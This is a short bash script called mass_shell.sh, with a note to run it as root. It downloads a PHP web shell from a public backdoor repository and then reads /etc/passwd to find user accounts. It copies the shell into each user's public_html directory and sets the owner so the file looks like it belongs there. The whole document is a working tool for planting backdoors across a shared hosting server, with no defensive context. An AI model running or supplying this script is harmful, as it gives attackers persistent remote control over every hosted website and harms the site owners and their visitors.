Copy file to all user directory . *note: do with root / sudoer

mass_shell.sh

#!/usr/bin/env bash

f="file1.php"
wget -O "$f" https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php
_USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)"
for u in $_USERS; do
  _dir="/home/${u}/public_html"
  if [ -d "$_dir" ]; then
  cp -f "${f}" "$_dir"
  chown $(id -un $u):$(id -gn $u) "${_dir}/${f}"
  fi
done